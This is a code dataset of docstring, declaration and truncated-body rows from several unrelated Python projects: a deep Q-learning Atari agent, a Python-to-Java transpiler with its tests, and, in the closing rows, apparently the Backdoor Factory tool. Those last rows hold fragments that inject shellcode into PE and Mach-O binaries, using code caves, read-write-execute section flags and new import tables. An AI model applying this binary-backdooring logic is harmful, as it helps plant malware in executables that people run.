desc
stringlengths
3
26.7k
decl
stringlengths
11
7.89k
bodies
stringlengths
8
553k
'Add a time step record. Arguments: img -- observed image action -- action chosen by the agent reward -- reward received after taking the action terminal -- boolean indicating whether the episode ended after this time step'
def add_sample(self, img, action, reward, terminal):
self.imgs[self.top] = img self.actions[self.top] = action self.rewards[self.top] = reward self.terminal[self.top] = terminal if (self.size == self.max_steps): self.bottom = ((self.bottom + 1) % self.max_steps) else: self.size += 1 self.top = ((self.top + 1) % self.max_steps)
'Return an approximate count of stored state transitions.'
def __len__(self):
return max(0, (self.size - self.phi_length))
'Return the most recent phi (sequence of image frames).'
def last_phi(self):
indexes = np.arange((self.top - self.phi_length), self.top) return self.imgs.take(indexes, axis=0, mode='wrap')
'Return a phi (sequence of image frames), using the last phi_length - 1, plus img.'
def phi(self, img):
indexes = np.arange(((self.top - self.phi_length) + 1), self.top) phi = np.empty((self.phi_length, self.height, self.width), dtype=floatX) phi[0:(self.phi_length - 1)] = self.imgs.take(indexes, axis=0, mode='wrap') phi[(-1)] = img return phi
'Return corresponding imgs, actions, rewards, and terminal status for batch_size randomly chosen state transitions.'
def random_batch(self, batch_size):
imgs = np.zeros((batch_size, (self.phi_length + 1), self.height, self.width), dtype='uint8') actions = np.zeros((batch_size, 1), dtype='int32') rewards = np.zeros((batch_size, 1), dtype=floatX) terminal = np.zeros((batch_size, 1), dtype='bool') count = 0 while (count < batch_size): index...
'Train one batch. Arguments: imgs - b x (f + 1) x h x w numpy array, where b is batch size, f is num frames, h is height and w is width. actions - b x 1 numpy array of integers rewards - b x 1 numpy array terminals - b x 1 numpy boolean array (currently ignored) Returns: average loss'
def train(self, imgs, actions, rewards, terminals):
self.imgs_shared.set_value(imgs) self.actions_shared.set_value(actions) self.rewards_shared.set_value(rewards) self.terminals_shared.set_value(terminals) if ((self.freeze_interval > 0) and ((self.update_counter % self.freeze_interval) == 0)): self.reset_q_hat() loss = self._train() s...
'Build a large network consistent with the DeepMind Nature paper.'
def build_nature_network(self, input_width, input_height, output_dim, num_frames, batch_size):
from lasagne.layers import cuda_convnet l_in = lasagne.layers.InputLayer(shape=(None, num_frames, input_width, input_height)) l_conv1 = cuda_convnet.Conv2DCCLayer(l_in, num_filters=32, filter_size=(8, 8), stride=(4, 4), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.HeUniform(), b=lasagne.init....
'Build a large network consistent with the DeepMind Nature paper.'
def build_nature_network_dnn(self, input_width, input_height, output_dim, num_frames, batch_size):
from lasagne.layers import dnn l_in = lasagne.layers.InputLayer(shape=(None, num_frames, input_width, input_height)) l_conv1 = dnn.Conv2DDNNLayer(l_in, num_filters=32, filter_size=(8, 8), stride=(4, 4), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.HeUniform(), b=lasagne.init.Constant(0.1)) ...
'Build a network consistent with the 2013 NIPS paper.'
def build_nips_network(self, input_width, input_height, output_dim, num_frames, batch_size):
from lasagne.layers import cuda_convnet l_in = lasagne.layers.InputLayer(shape=(None, num_frames, input_width, input_height)) l_conv1 = cuda_convnet.Conv2DCCLayer(l_in, num_filters=16, filter_size=(8, 8), stride=(4, 4), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.Normal(0.01), b=lasagne.init...
'Build a network consistent with the 2013 NIPS paper.'
def build_nips_network_dnn(self, input_width, input_height, output_dim, num_frames, batch_size):
from lasagne.layers import dnn l_in = lasagne.layers.InputLayer(shape=(None, num_frames, input_width, input_height)) l_conv1 = dnn.Conv2DDNNLayer(l_in, num_filters=16, filter_size=(8, 8), stride=(4, 4), nonlinearity=lasagne.nonlinearities.rectify, W=lasagne.init.Normal(0.01), b=lasagne.init.Constant(0.1)) ...
'Build a simple linear learner. Useful for creating tests that sanity-check the weight update code.'
def build_linear_network(self, input_width, input_height, output_dim, num_frames, batch_size):
l_in = lasagne.layers.InputLayer(shape=(None, num_frames, input_width, input_height)) l_out = lasagne.layers.DenseLayer(l_in, num_units=output_dim, nonlinearity=None, W=lasagne.init.Constant(0.0), b=None) return l_out
'This method is called once at the beginning of each episode. No reward is provided, because reward is only available after an action has been taken. Arguments: observation - height x width numpy array Returns: An integer action'
def start_episode(self, observation):
self.step_counter = 0 self.batch_counter = 0 self.episode_reward = 0 self.loss_averages = [] self.start_time = time.time() return_action = self.rng.randint(0, self.num_actions) self.last_action = return_action self.last_img = observation return return_action
'This method is called each time step. Arguments: reward - Real valued reward. observation - A height x width numpy array Returns: An integer action.'
def step(self, reward, observation):
self.step_counter += 1 if self.testing: self.episode_reward += reward action = self._choose_action(self.test_data_set, 0.05, observation, np.clip(reward, (-1), 1)) elif (len(self.data_set) > self.replay_start_size): self.epsilon = max(self.epsilon_min, (self.epsilon - self.epsilon_ra...
'Add the most recent data to the data set and choose an action based on the current policy.'
def _choose_action(self, data_set, epsilon, cur_img, reward):
data_set.add_sample(self.last_img, self.last_action, reward, False) if (self.step_counter >= self.phi_length): phi = data_set.phi(cur_img) action = self.network.choose_action(phi, epsilon) else: action = self.rng.randint(0, self.num_actions) return action
'Returns the average loss for the current batch. May be overridden if a subclass needs to train the network differently.'
def _do_training(self):
(imgs, actions, rewards, terminals) = self.data_set.random_batch(self.network.batch_size) return self.network.train(imgs, actions, rewards, terminals)
'This function is called once at the end of an episode. Arguments: reward - Real valued reward. terminal - Whether the episode ended intrinsically (ie we didn\'t run out of steps) Returns: None'
def end_episode(self, reward, terminal=True):
self.episode_reward += reward self.step_counter += 1 total_time = (time.time() - self.start_time) if self.testing: if (terminal or (self.episode_counter == 0)): self.episode_counter += 1 self.total_reward += self.episode_reward else: self.data_set.add_sample(s...
'action 0 is left, 1 is right.'
def act(self, state, action_index):
state_index = np.nonzero(state[0, 0, 0, :])[0][0] next_index = state_index if (np.random.random() < self.success_prob): next_index = ((state_index + (action_index * 2)) - 1) if (next_index == (-1)): return (self.reward_left, self.states[(-1)], np.array([[True]])) if (next_index == (s...
'Helper method to get the entire Q-table'
def all_q_vals(self, net):
q_vals = np.zeros((self.mdp.num_states, self.mdp.num_actions)) for i in range(self.mdp.num_states): q_vals[i, :] = net.q_vals(self.mdp.states[i][0]) return q_vals
'This test will only pass if terminal states are handled correctly. Otherwise the random initialization of the value of the terminal state will propagate back.'
def test_convergence_random_initialization(self):
freeze_interval = (-1) net = self.make_net(freeze_interval) params = lasagne.layers.helper.get_all_param_values(net.l_out) rand = np.random.random(params[0].shape) rand = numpy.array(rand, dtype=theano.config.floatX) lasagne.layers.helper.set_all_param_values(net.l_out, [rand]) self.train(ne...
'Run the desired number of training epochs, a testing epoch is conducted after each training epoch.'
def run(self):
for epoch in range(1, (self.num_epochs + 1)): self.run_epoch(epoch, self.epoch_length) self.agent.finish_epoch(epoch) if (self.test_length > 0): self.agent.start_testing() self.run_epoch(epoch, self.test_length, True) self.agent.finish_testing(epoch)
'Run one \'epoch\' of training or testing, where an epoch is defined by the number of steps executed. Prints a progress report after every trial Arguments: epoch - the current epoch number num_steps - steps per epoch testing - True if this Epoch is used for testing and not training'
def run_epoch(self, epoch, num_steps, testing=False):
self.terminal_lol = False steps_left = num_steps while (steps_left > 0): prefix = ('testing' if testing else 'training') logging.info(((((prefix + ' epoch: ') + str(epoch)) + ' steps_left: ') + str(steps_left))) (_, num_steps) = self.run_episode(steps_left, testing) ...
'This method resets the game if needed, performs enough null actions to ensure that the screen buffer is ready and optionally performs a randomly determined number of null action to randomize the initial game state.'
def _init_episode(self):
if ((not self.terminal_lol) or self.ale.game_over()): self.ale.reset_game() if (self.max_start_nullops > 0): random_actions = self.rng.randint(0, (self.max_start_nullops + 1)) for _ in range(random_actions): self._act(0) self._act(0) self._act(0)
'Perform the indicated action for a single frame, return the resulting reward and store the resulting screen image in the buffer'
def _act(self, action):
reward = self.ale.act(action) index = (self.buffer_count % self.buffer_length) self.ale.getScreenGrayscale(self.screen_buffer[index, ...]) self.buffer_count += 1 return reward
'Repeat one action the appopriate number of times and return the summed reward.'
def _step(self, action):
reward = 0 for _ in range(self.frame_skip): reward += self._act(action) return reward
'Run a single training episode. The boolean terminal value returned indicates whether the episode ended because the game ended or the agent died (True) or because the maximum number of steps was reached (False). Currently this value will be ignored. Return: (terminal, num_steps)'
def run_episode(self, max_steps, testing):
self._init_episode() start_lives = self.ale.lives() action = self.agent.start_episode(self.get_observation()) num_steps = 0 while True: reward = self._step(self.min_action_set[action]) self.terminal_lol = (self.death_ends_episode and (not testing) and (self.ale.lives() < start_lives)...
'Resize and merge the previous two screen images'
def get_observation(self):
assert (self.buffer_count >= 2) index = ((self.buffer_count % self.buffer_length) - 1) max_image = np.maximum(self.screen_buffer[index, ...], self.screen_buffer[(index - 1), ...]) return self.resize_image(max_image)
'Appropriately resize a single image'
def resize_image(self, image):
if (self.resize_method == 'crop'): resize_height = int(round(((float(self.height) * self.resized_width) / self.width))) resized = cv2.resize(image, (self.resized_width, resize_height), interpolation=cv2.INTER_LINEAR) crop_y_cutoff = ((resize_height - CROP_OFFSET) - self.resized_height) ...
'Run code as native python, and under Java and check the output is identical'
def assertCodeExecution(self, code, message=None, extra_code=None, run_in_global=True, run_in_function=True, exits_early=False, args=None, substitutions=None):
self.maxDiff = None if run_in_global: try: self.makeTempDir() adj_code = adjust(code, run_in_function=False) adj_code += ('\nprint("%s")\n' % END_OF_CODE_STRING) py_out = runAsPython(self.temp_dir, adj_code, extra_code, args=args) java_out = se...
'Run code under Java and check the output is as expected'
def assertJavaExecution(self, code, out, extra_code=None, java=None, run_in_global=True, run_in_function=True, args=None, substitutions=None):
global _output_dir self.maxDiff = None try: java_dir = os.path.join(_output_dir, 'java') try: os.makedirs(java_dir) except FileExistsError: pass java_compile_out = compileJava(java_dir, java) if java_compile_out: self.fail(java_comp...
'Create a "temp" subdirectory in the class\'s generated temporary directory if it doesn\'t currently exist.'
def makeTempDir(self):
try: os.mkdir(self.temp_dir) except FileExistsError: pass
'Run a block of Python code as a Java program.'
def runAsJava(self, main_code, extra_code=None, args=None):
transpiler = Transpiler(verbosity=0) with capture_output(redirect_stderr=False): transpiler.transpile_string('test.py', main_code) if extra_code: for (name, code) in extra_code.items(): transpiler.transpile_string(('%s.py' % name.replace('.', os.path.sep)), adjust(cod...
'A test is expected to fail if: (a) Its name can be found in the test case\'s \'not_implemented\' list (b) Its name can be found in the test case\'s \'is_flakey\' list (c) Its name can be found in the test case\'s \'not_implemented_versions\' dictionary _and_ the current python version is in the dict entry\'s list :ret...
def _is_not_implemented(self):
method_name = self._testMethodName if (method_name in getattr(self, 'not_implemented', [])): return True if self._is_flakey(): return True not_implemented_versions = getattr(self, 'not_implemented_versions', {}) if (method_name in not_implemented_versions): py_version = float...
'Test exception for large code of an anonymous block.'
def test_block_large_code(self):
large_code = ('print(1 + 2)\n' * 3000) transpiler = Transpiler(verbosity=0) self.assertRaises(BlockCodeTooLarge, transpiler.transpile_string, 'test.py', large_code)
'Test exception for large code of a method.'
def test_method_large_code(self):
large_code = ('def test():\n' + (' print(1 + 2)\n' * 3000)) transpiler = Transpiler(verbosity=0) self.assertRaises(MethodCodeTooLarge, transpiler.transpile_string, 'test.py', large_code)
'You can import a Python module implemented in Java (a native stdlib shim)'
def test_import_stdlib_module(self):
self.assertCodeExecution('\n import time\n\n time.time()\n\n print("Done.")\n ')
'You can import a Python module implemented in Python'
def test_import_module(self):
self.assertCodeExecution('\n import example\n\n example.some_method()\n\n print("Done.")\n ', extra_code={'example': '\n ...
'You can import a Python module with if __name__ == \'__main__\''
def test_import_module_main(self):
self.assertCodeExecution('\n import example\n\n print(\'A\')\n\n if __name__ == "__main__":\n print(...
'You can import a multiple Python modules implemented in Python'
def test_multiple_module_import(self):
self.assertCodeExecution('\n import example, other\n\n example.some_method()\n\n other.other_method()\n\n print("Done.")\n...
'You can invoke a static method from a native Java namespace'
def test_import_java_module_static_method(self):
self.assertJavaExecution('\n from java import lang\n\n props = lang.System.getProperties()\n print(props.get("file.separator"))\n\n ...
'You can invoke a static method from a native Java class'
def test_import_java_class_static_method(self):
self.assertJavaExecution('\n from java.lang import System\n\n props = System.getProperties()\n print(props.get("file.separator"))\n\n ...
'You can import a native Java namespace as a Python module'
def test_import_java_module(self):
self.assertJavaExecution('\n from java import lang\n\n buf = lang.StringBuilder()\n buf.append(\'Hello, \')\n ...
'You can import a native Java class as a Python module'
def test_import_java_class(self):
self.assertJavaExecution('\n from java.lang import StringBuilder\n\n buf = StringBuilder()\n buf.append(\'Hello, \')\n ...
'The appropriate constructor for a native Java class can be interpolated from args'
def test_multiple_constructors(self):
self.assertJavaExecution('\n from java.lang import StringBuilder\n\n builder = StringBuilder("Hello, ")\n\n builder.append("world")\n\n ...
'The most specific constructor for a native Java class will be selected based on argument.'
def test_most_specific_constructor(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n obj1 = MyClass()\n obj2 = MyClass(1.234)\n ...
'Native fields on an instance can be accessed'
def test_field(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj1 = MyClass()\n ...
'Class constants can be accessed'
def test_static_field(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj1 = MyClass()\n ...
'Native fields defined on a superclass can be accessed'
def test_superclass_field(self):
self.assertJavaExecution('\n from com.example import MyBase, MyClass\n\n print("Base class is", MyBase)\n print("Class is", MyClass)\n ...
'Native static fields defined on a superclass can be accessed'
def test_superclass_static_field(self):
self.assertJavaExecution('\n from com.example import MyBase, MyClass\n\n print("Base class is", MyBase)\n print("Class is", MyClass)\n ...
'Instance constants can be accessed'
def test_constant(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj1 = MyClass()\n ...
'Class constants can be accessed'
def test_static_constant(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj1 = MyClass()\n ...
'Native methods on an instance can be accessed'
def test_method(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj = MyClass()\n ...
'Native static methods on an instance can be accessed'
def test_static_method(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n print("Class is", MyClass)\n obj = MyClass()\n ...
'Native methods defined on a superclass can be accessed'
def test_superclass_method(self):
self.assertJavaExecution('\n from com.example import MyBase, MyClass\n\n print("Base class is", MyBase)\n print("Class is", MyClass)\n\n ...
'Native static methods defined on a superclass can be accessed'
def test_superclass_static_method(self):
self.assertJavaExecution('\n from com.example import MyBase, MyClass\n\n print("Base class is", MyBase)\n print("Class is", MyClass)\n\n ...
'Constants on an inner class can be accessed'
def test_inner_class_constant(self):
self.assertJavaExecution('\n from com.example import OuterClass\n\n print("Outer class is", OuterClass)\n print("Outer constant is", OuterClass.OUTE...
'Inner classes can be instantiated, and methods invoked'
def test_inner_class_method(self):
self.assertJavaExecution('\n from com.example import OuterClass\n\n print("Outer class is", OuterClass)\n obj1 = OuterClass()\n ...
'Constants on a static inner class can be accessed'
def test_static_inner_class_constant(self):
self.assertJavaExecution('\n from com.example import OuterClass\n\n print("Outer class is", OuterClass)\n print("Outer constant is", OuterClass.OUTE...
'Static inner classes can be instantiated, and methods invoked'
def test_static_inner_class_method(self):
self.assertJavaExecution('\n from com.example import OuterClass\n\n print("Outer class is", OuterClass)\n obj1 = OuterClass()\n ...
'Primitive types are converted correctly'
def test_primitive_conversion(self):
self.assertJavaExecution('\n from com.example import MyObject\n\n obj = MyObject()\n\n result = obj.method(3)\n ...
'Primitive representations of \'false\' values are converted correctly'
def test_primitive_zero_conversion(self):
self.assertJavaExecution('\n from com.example import MyObject\n\n obj = MyObject()\n\n result = obj.method(0)\n ...
'You can implement (and use) a native Java interface'
def test_implement_interface(self):
self.assertJavaExecution('\n from java.lang import StringBuilder\n\n class MyStringAnalog(implements=java.lang.CharSequence):\n def __init__(sel...
'You can implement (and use) a native Java interface defined as an inner class'
def test_implement_inner_interface(self):
self.assertJavaExecution('\n from com.example import View\n\n class MyHandler(implements=com.example.View[Handler]):\n def event(self, view: ...
'Test input can be stripped of leading spaces.'
def test_adjust(self):
self.assertEqual("for i in range(0, 10):\n print('hello, world')\nprint('Done.')\n", adjust("\n for i in range(0, 10):\n print('hello, world')\n ...
'You can supply Java code and use it from within Python'
def test_java_code(self):
self.assertJavaExecution('\n from com.example import MyClass\n\n obj = MyClass()\n\n obj.doStuff()\n\n print("Don...
'Evaluate the maximum stack depth required by a sequence of Java opcodes'
def stack_depth(self):
depth = 0 max_depth = 0 for opcode in self.opcodes: depth = (depth + opcode.stack_effect) if (depth > max_depth): max_depth = depth return max_depth
'Whether the block has nested structures inside.'
@property def has_nested_structure(self):
return any([self.blocks, self.loops, self.try_catches])
'Tweak the bytecode generated for this block.'
def visitor_setup(self):
pass
'Tweak the bytecode generated for this block.'
def visitor_teardown(self):
pass
'Create a JavaCode object representing the opcodes stored in the block May raise ``IgnoreBlock`` if the block should be ignored.'
def transpile_code(self):
yield_jumps = Accumulator() for (i, yield_point) in enumerate(self.yield_points): yield_jumps.add_opcodes(ALOAD_index(self.local_vars['<generator>']), JavaOpcodes.GETFIELD('org/python/types/Generator', 'yield_point', 'I'), ICONST_val((i + 1)), jump(JavaOpcodes.IF_ICMPEQ(0), self, yield_point, OpcodePosi...
'Convert a materialized Python code definition into a list of Java Classfile definitions. Returns a list of triples: (namespace, class_name, javaclassfile) The list contains the classfile for the module, plus and classes defined in the module.'
def transpile(self):
classfile = JavaClass(self.class_descriptor, extends='org/python/types/Module') classfile.attributes.append(JavaSourceFile(os.path.basename(self.sourcefile))) static_init = JavaMethod('module$import', '()V', public=False) static_init.attributes.append(self.transpile_code()) classfile.methods.append(...
'The value of the attributes_count item indicates the number of additional attributes (§4.7) of this field.'
@property def attributes_count(self):
return len(self.attributes)
'The value of the access_flags item is a mask of flags used to denote access permission to and properties of this field. The interpretation of each flag, when set, is as shown in Table 4.4. All bits of the access_flags item not assigned in Table 4.4 are reserved for future use. They should be set to zero in generated c...
@property def access_flags(self):
return (((((((((self.ACC_PUBLIC if self.public else 0) | (self.ACC_PRIVATE if self.private else 0)) | (self.ACC_PROTECTED if self.protected else 0)) | (self.ACC_STATIC if self.static else 0)) | (self.ACC_FINAL if self.final else 0)) | (self.ACC_VOLATILE if self.volatile else 0)) | (self.ACC_TRANSIENT if self.transi...
'The value of the constant_pool_count item is equal to the number of entries in the constant_pool table plus one. A constant_pool index is considered valid if it is greater than zero and less than constant_pool_count, with the exception for constants of type long and double noted in §4.4.5.'
@property def count(self):
return (len(self._constant_pool) + 1)
'A specific instance initialization method (§2.9) may have at most one of its ACC_PRIVATE, ACC_PROTECTED, and ACC_PUBLIC flags set, and may also have its ACC_STRICT, ACC_VARARGS and ACC_SYNTHETIC flags set, but must not have any of the other flags in Table 4.5 set. Class and interface initialization methods (§2.9) ar...
@property def access_flags(self):
return ((((((((((((self.ACC_PUBLIC if self.public else 0) | (self.ACC_PRIVATE if self.private else 0)) | (self.ACC_PROTECTED if self.protected else 0)) | (self.ACC_STATIC if self.static else 0)) | (self.ACC_FINAL if self.final else 0)) | (self.ACC_SYNCHRONIZED if self.synchronized else 0)) | (self.ACC_BRIDGE if sel...
'Decode the bytes 0xc0 0x80 as U+0000, like Java does.'
def _buffer_decode_null(self, input, errors, final):
nextbyte = input[1:2] if (nextbyte == ''): if final: return super()._buffer_decode(input, errors, final) else: return (u'', 0) elif (nextbyte == '\x80'): return (u'\x00', 2) else: return super()._buffer_decode('\xc0', errors, True)
'When we have improperly encoded surrogates, we can still see the bits that they were meant to represent. The surrogates were meant to encode a 20-bit number, to which we add 0x10000 to get a codepoint. That 20-bit number now appears in this form: 11101101 1010abcd 10efghij 11101101 1011klmn 10opqrst The CESU8_RE above...
def _buffer_decode_surrogates(self, input, errors, final):
if (len(input) < 6): if final: return super()._buffer_decode(input, errors, final) else: return (u'', 0) elif CESU8_RE.match(input): bytenums = input[:6] codepoint = ((((((bytenums[1] & 15) << 16) + ((bytenums[2] & 63) << 10)) + ((bytenums[4] & 15) << 6)) ...
'The value of the code_length item gives the number of bytes in the code array for this method. The value of code_length must be greater than zero; the code array must not be empty.'
@property def code_length(self):
return sum((len(opcode) for opcode in self.code))
'The value of the exception_table_length item gives the number of entries in the exception_table table.'
@property def exception_table_length(self):
return len(self.exception_table)
'The value of the attributes_count item indicates the number of attributes of the Code attribute.'
@property def attributes_count(self):
return len(self.attributes)
'The value of the number_of_entries item gives the number of # stack_map_frame entries in the entries table.'
@property def number_of_entries(self):
return len(self.entries)
'The value of the line_number_table_length item indicates the number of entries in the line_number_table array.'
@property def line_number_table_length(self):
return len(self.line_number_table)
'The value of the local_variable_table_length item indicates the number of entries in the line_number_table array.'
@property def local_variable_table_length(self):
return len(self.line_number_table)
'The value of the num_annotations item gives the number of run-time- visible annotations represented by the structure. Note that a maximum of 65535 run-time-visible Java programming language annotations may be directly attached to a program element.'
@property def num_annotations(self):
return len(self.annotations)
'The value of the num_element_value_pairs item gives the number of element-value pairs of the annotation represented by this annotation structure. Note that a maximum of 65535 element-value pairs may be contained in a single annotation.'
@property def num_element_value_pairs(self):
return len(self.element_value_pairs)
'The value of the num_values item gives the number of elements in the array-typed value represented by this element_value structure. Note that a maximum of 65535 elements are permitted in an array-typed element value.'
@property def num_values(self):
return len(self.values)
'The value of the num_annotations item gives the number of run-time- visible annotations represented by the structure. Note that a maximum of 65535 run-time-visible Java programming language annotations may be directly attached to a program element.'
@property def num_annotations(self):
return len(self.annotations)
'The Engine'
def run_this(self):
self.bin = open(self.FILE, 'r+b') self.supported = '' if (self.SUPPORT_CHECK is True): if (not self.FILE): print 'You must provide a file to see if it is supported (-f)' return False try: self.support_check() except...
'Output file check.'
def output_options(self):
if (not self.OUTPUT): self.OUTPUT = os.path.basename(self.FILE)
'This function sets the shellcode.'
def set_shells(self, MagicNumber):
print '[*] Looking for and setting selected shellcode' avail_shells = [] self.bintype = False if (MagicNumber == '0xfeedface'): self.bintype = macho_intel32_shellcode elif (MagicNumber == '0xfeedfacf'): self.bintype = macho_intel64_shellcode if (not self.SHELL):...
'This function grabs necessary data for the mach-o format'
def get_structure(self):
self.binary_header = self.bin.read(4) if (self.binary_header == '\xca\xfe\xba\xbe'): print '[*] Fat File detected' self.FAT_FILE = True ArchNo = struct.unpack('>I', self.bin.read(4))[0] for arch in range(ArchNo): self.fat_hdrs[arch] = self.fat_header() ...
'This method returns a dict with commands that we need for mach-o patching'
def find_Needed_Items(self, theCmds):
_tempDict = {} text_segment = {} text_section = {} LC_MAIN = {} LC_UNIXTREAD = {} LC_CODE_SIGNATURE = {} LC_DYLIB_CODE_SIGN_DRS = {} locationInFIle = 0 last_cmd = 0 for item in theCmds: locationInFIle = item['LOCInFIle'] if ((item['DATA'][0:6] == '__TEXT') and (it...
'Gathers necessary PE header information to backdoor a file and returns a dict of file information called flItms. Takes a open file handle of self.binary'
def gather_file_info_win(self):
self.binary.seek(int('3C', 16)) print '[*] Gathering file info' self.flItms['filename'] = self.FILE self.flItms['buffer'] = 0 self.flItms['JMPtoCodeAddress'] = 0 self.flItms['LocOfEntryinCode_Offset'] = self.DISK_OFFSET self.flItms['dis_frm_pehdrs_sectble'] = 248 self.flItms['pe...
'Changes the user selected section to RWE for successful execution'
def change_section_flags(self, section):
print '[*] Changing flags for section:', section self.flItms['newSectionFlags'] = int('e00000e0', 16) self.binary.seek(self.flItms['BeginSections'], 0) for _ in range(self.flItms['NumberOfSections']): sec_name = self.binary.read(8) if (section in sec_name): self.b...
'Creates new import table for missing imports in a new section'
def create_new_iat(self):
print '[*] Adding New Section for updated Import Table' with open(self.flItms['backdoorfile'], 'r+b') as self.binary: self.flItms['NewSectionSize'] = 4096 self.flItms['SectionName'] = 'rdata1' self.flItms['newSectionPointerToRawData'] = (self.flItms['Sections'][(-1)]...
'This function creates a code cave for shellcode to hide, takes in the dict from gather_file_info_win function and writes to the file and returns flItms'
def create_code_cave(self):
print '[*] Creating Code Cave' self.flItms['NewSectionSize'] = (len(self.flItms['shellcode']) + 250) self.flItms['SectionName'] = self.NSECTION self.flItms['filesize'] = os.stat(self.flItms['filename']).st_size self.flItms['newSectionPointerToRawData'] = self.flItms['filesize'] self.flI...
'This function finds all the codecaves in a inputed file. Prints results to screen'
def find_all_caves(self):
print '[*] Looking for caves' SIZE_CAVE_TO_FIND = self.SHELL_LEN BeginCave = 0 Tracking = 0 count = 1 caveTracker = [] caveSpecs = [] self.binary = open(self.FILE, 'r+b') self.binary.seek(0) while True: try: s = struct.unpack('<b', self.binary.read(1)...
'This function finds all code caves, allowing the user to pick the cave for injecting shellcode.'
def find_cave(self):
self.flItms['len_allshells'] = () if (self.flItms['cave_jumping'] is True): for item in self.flItms['allshells']: self.flItms['len_allshells'] += (len(item),) self.flItms['len_allshells'] += (len(self.flItms['resumeExe']),) SIZE_CAVE_TO_FIND = sorted(self.flItms['len_allshell...
'This module jumps to .rsrc section and checks for the following string: requestedExecutionLevel level="highestAvailable"'
def runas_admin(self):
runas_admin = False print '[*] Checking Runas_admin' if ('rsrcPointerToRawData' in self.flItms): self.binary.seek(self.flItms['rsrcPointerToRawData'], 0) search_lngth = len('requestedExecutionLevel level="highestAvailable"') data_read = 0 while (data_read < self.flIt...
'This function is for checking if the current exe/dll is supported by this program. Returns false if not supported, returns flItms if it is.'
def support_check(self):
print '[*] Checking if binary is supported' self.flItms['supported'] = False self.binary = open(self.FILE, 'r+b') if (self.binary.read(2) != 'MZ'): print ('%s not a PE File' % self.FILE) return False self.gather_file_info_win() if (self.flItms is False)...
'This function operates the sequence of all involved functions to perform the binary patching.'
def patch_pe(self):
print '[*] In the backdoor module' if (self.INJECTOR is False): os_name = os.name if (not os.path.exists('backdoored')): os.makedirs('backdoored') if (os_name == 'nt'): self.OUTPUT = ('backdoored\\' + self.OUTPUT) else: self.OUTPUT ...